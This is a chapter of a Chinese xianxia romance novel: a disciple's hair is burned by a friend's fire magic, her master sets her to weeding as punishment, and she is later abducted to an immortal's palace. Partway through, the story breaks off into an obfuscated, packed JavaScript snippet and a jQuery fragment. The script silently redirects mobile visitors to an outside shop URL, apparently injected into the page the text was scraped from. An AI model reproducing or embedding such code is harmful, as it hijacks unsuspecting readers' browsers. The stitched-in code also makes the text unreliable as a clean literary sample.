只见凌峥的衣裳开始燃了起来,头发也开始被烧卷了。
舒亦然在一旁帮忙灭火,花翘春突然想起他似乎还有一个水灵根,直接掌心蹦出水来,由于一时没有控制好,浇得凌峥整个人都湿了。
凌峥吐掉流进嘴里的水,睁开眼的那一刻,看着眼前全然知道自己做错事的花翘春,睫毛上还滴着水。
花翘春拉住凌峥的手,嘴里还在不停地道歉:“凌峥,对不起,对不起,对不起!”
若不是自己没有火灵根,现在她怕是练到了最高境了,整个人都可以喷出火来。
“没关系。”嘴上虽这样说,但是内心已经气到炸了,凌峥低头看着自己的头发,已经全部卷了。
凌峥的头发柔顺至极,如今被花翘春的一把火烧卷了,舒亦然有些看不下去。
“花翘春,你要补偿凌峥。”
既然话说到这儿,花翘春也知道自己的错误了,直接将脖子上的首饰全部拿下来,放在凌峥的手上。
“对不起,凌峥,我把这些给你,当做赔礼。”
看着花翘春手上的东西,凌峥的火一下子就灭了,这些看着也还好,对她来说没意义。
“没事了,头发而已,再长就好了。”方才发生的时候倒是火大,现在想来还好了,没其他地方受伤就好。
“幸好是烧到我,若是烧到旁的仙子,又当如何?”凌峥这话让花翘春更加不好意思了。
他还维持着拿给凌峥首饰的动作,眼里全是歉意,甚至仔细瞧去还有些泪花,堪堪没掉而已。
“知道了,对不起,我下次再也不争强好胜了。”
看着花翘春那模样,凌峥什么气都没有了,开始笑了起来。
“哈哈哈哈哈,真的没什么,就是待会要悄悄回寝殿了,不然被看到要被笑了。”
这笑声让花翘春少了些愧疚,他抬起头来看着凌峥。
“那我给你新衣裳,我可多了。”说起新衣裳,花翘春眼睛都亮了,他最得意的就是他的衣裳了,那些花花绿绿的,可好看了。
舒亦然在一旁提醒花翘春,“要穿宗门服的,你还不如多努力,练好丹药,多给阿峥一些。”
“好!”
抬起头那刻,眼泪顺着弯弯的嘴角而落,凌峥提出她还想看他的火花。
“这一刻,我给你看一个超好看的。”
花翘春将首饰重新挂回脖子上,然后掌心慢慢又燃起了火花。
这一次的火苗慢慢迸发出来,在掌心跳起舞来。
“阿峥,好看吗?”
“好看。”虽然之前遭受过火苗的攻击,但是这一次她相信花翘春。当然花翘春也没有辜负凌峥的相信,火苗控制得很好。
舒亦然看凌峥身上还滴着水珠,忙让花翘春赶紧停了,本想拉着凌峥进去换身衣裳,但是凌峥拒绝了。
“不行,我是杂事铺的,穿其他宗门的衣裳不好。”
“好吧,那我们用火苗给你烘干。”
这话一出,凌峥打趣道,眼角还带着笑意,“算了,若是一个没控制好,我整个人都燃起来了,怎么办。”
这话逗笑舒亦然和花翘春了,之前相处怎么没有发现来凌峥说话这般有趣。
花翘春拍拍胸脯,说道:“阿峥,放心,定然不会的。”
凌峥直摆手,“算了算了,我还是回去吧。”
说完,凌峥也不顾她二人的挽留了,直接御剑而回。
经过宗门口的时候,发现并未有仙子守着,如此一来便放心了,这番囧样若是被看到了,定会被笑话的。
但是想要回到寝殿,必定经过成仙院,所以怕成仙院的仙子都看到她这幅模样,只好御剑快速经过。
刚刚才到,师尊夜行朝便出现在了眼前。
只见他面色严肃,紧紧地盯着自己,开口的话有些步步紧逼,“去哪了?”
凌峥只好实话实说。
凌峥的话才出,便看见夜行朝眉头紧皱,“为何去那!”
“去找好友。”
夜行朝没想到来凌峥才来这些天,便已结交好友,心中有些不悦,这感觉有些不妙。
“修炼时间出走,该当何罚。”
一听到夜行朝要罚自己凌峥心头便有些不悦,“师尊,之前并未说修炼时间不可以外出,况且我已掌握御剑之术,问过师姐才走的。”
夜行朝不听她的解释,“你未对我说,那便是擅自出走,该罚。”
凌峥听到这句话都震惊了,“师尊,为何?”
“我上句话说过。”
凌峥此时凉风一吹,身上的衣裳更加地重,重重地拉着她的每一寸肌肤。
明明只是想要换衣裳,结果却被如此对待,已没有半分心思。
“师尊说什么就是什么。”
凌峥已不想争辩,这里是杂事铺,夜行朝是铺主,他说什么就是什么。
夜行朝看着地下的水,凌峥的头发还有些乱,甚至看得出来被火烧过。
“换身衣裳再出来领罚。”
“是!”
说完凌峥直接进了寝殿中,而夜行朝背对着寝殿,在外等着凌峥出来。
方才路过丹鼎门时便已看到那一幕,她身旁的也不知道是什么人,竟有些亲密。
先凌峥一步来到她的寝殿等着她,可待了好一会儿才见她来,心里竟有些怒气。
才想出了罚她这一举措,可她进去了竟有些不想了。
后院的灵气有些浓郁,罚她去那里除除草,吸收灵气,早日渡境。
凌峥刚出门,夜行朝不知道何时变出来的篮子直接放在凌峥的手中。
“你随我来。”
凌峥手中拿着篮子,人还有些懵。
只好跟着夜行朝,走的路似乎有些熟悉,“师尊,这不是你的寝殿吗,我们这是?”
夜行朝不解释,只道:“随我来便是。”
走到夜行朝的寝殿,只见夜行朝绕旁边的路直接走到后院,指着才冒出如人般高的草道:“作为惩罚,你今日要把草拔干净。”
凌峥不傻,才到后院便见那草疯狂冒出,盯着夜行朝道:“师尊,惩罚人的招能不能别让我看到。”
夜行朝被揭穿了,咳嗽一声,掩饰尴尬,“给你两个时辰,若是没有拔完,那便翻倍。”
说完直接走了,只留下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491570|202255||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
凌峥看着这偌大的后院干眨眼。
回头看着夜行朝的后背,真想用腰间的剑把他捅了。
但是想归想,若是真干的话,倒地就不是他而是自己了。
凌峥叹了口气,“幸福的日子没享受多久,来过这个苦日子。”
既然夜行朝让自己拔草,她也只好乖乖拔了。
方才看到夜行朝的法术,若是自己会就好了,这样就可以轻易解决了。
凌峥看向夜行朝的寝殿,想来那寝殿必有法书,但是算了。凌峥长叹口气,只好作罢,她不能做入室抢劫的贼。
蹲在地上,被埋在草中,从远处看,看不到凌峥的踪迹了。
凌峥埋头拼命干,干得累了就用剑割草根。
方才还觉得有些累,可是干多了便觉得身体轻盈仿佛被注入什么东西。
再干一会儿,凌峥发现似乎没那么累了,手中的剑也变得轻盈好用了。
心里蹦出一个新想法,看来这草里定是藏了什么对她有用的。
如此想来,凌峥越干越用功,比她练习御剑之术还要认真。不到两个时辰,院子里的草便已全部被拔完。
身体越发地轻盈,挥剑的动作变得越来越快。
凌峥正欲走,夜行朝便出现在了眼前,“师尊,我已拔完。”
“做的很好。”
夜行朝正欲回寝殿,凌峥却叫住了他。“师尊,我有个不情之请,不知可否?”
一听到愿望,夜行朝便来了兴趣,转过身来看着凌峥,“说便是。”
“我想要修炼的书,还有想必这草也有很大的用处,多谢师尊。”
凌峥直接猜出了夜行朝所做之事的目的,她眼里全是真诚,没有半分参假。
夜行朝心中愉悦,垂眼时眼里全是笑意,抬眼看向凌峥时笑意已退。
从前,不过是身旁过客,如今却能常伴左右,这是以前夜行朝不曾想的事情。
嘴上还不承认,“不过是些杂草而已,修炼的书我稍后给你。”
“谢谢师尊。”
说完,凌峥便快速离开夜行朝的寝殿了,好在足够偏再加上有条小道,所以根本没有人注意到她的存在。
凌峥一身轻松地回到寝殿,方才趁着夜行朝没在时悄悄摘了两个桃子。
“吉吉,我回来了~”
话才说完便被打晕,还没有看到吉吉,就已晕倒在门口。
再次醒来之时,就看到折妗仙君守在自己的面前。
腰间的剑不知何时被折妗仙君拿去,环顾四周,所待的位置似乎是折妗仙君的寝殿,而她似乎还躺在折妗仙君的床上。
“不用紧张,只是找你一些事情而已。”
凌峥连忙掀开被子起身,之前便听闻折妗仙君是整个仙界最厉害的,若是自己有何处得罪她了,怎么死都不知道。
“拜见折妗仙君!”
“免礼。”
“直接召你来怕对你名声不利,所以才想此下策,勿怪。”
折妗拉着凌峥的手走,拉着她到一旁的椅子上坐着,才倒了杯茶给凌峥。
“折妗仙君言重了,不知仙君唤我来所谓何事?”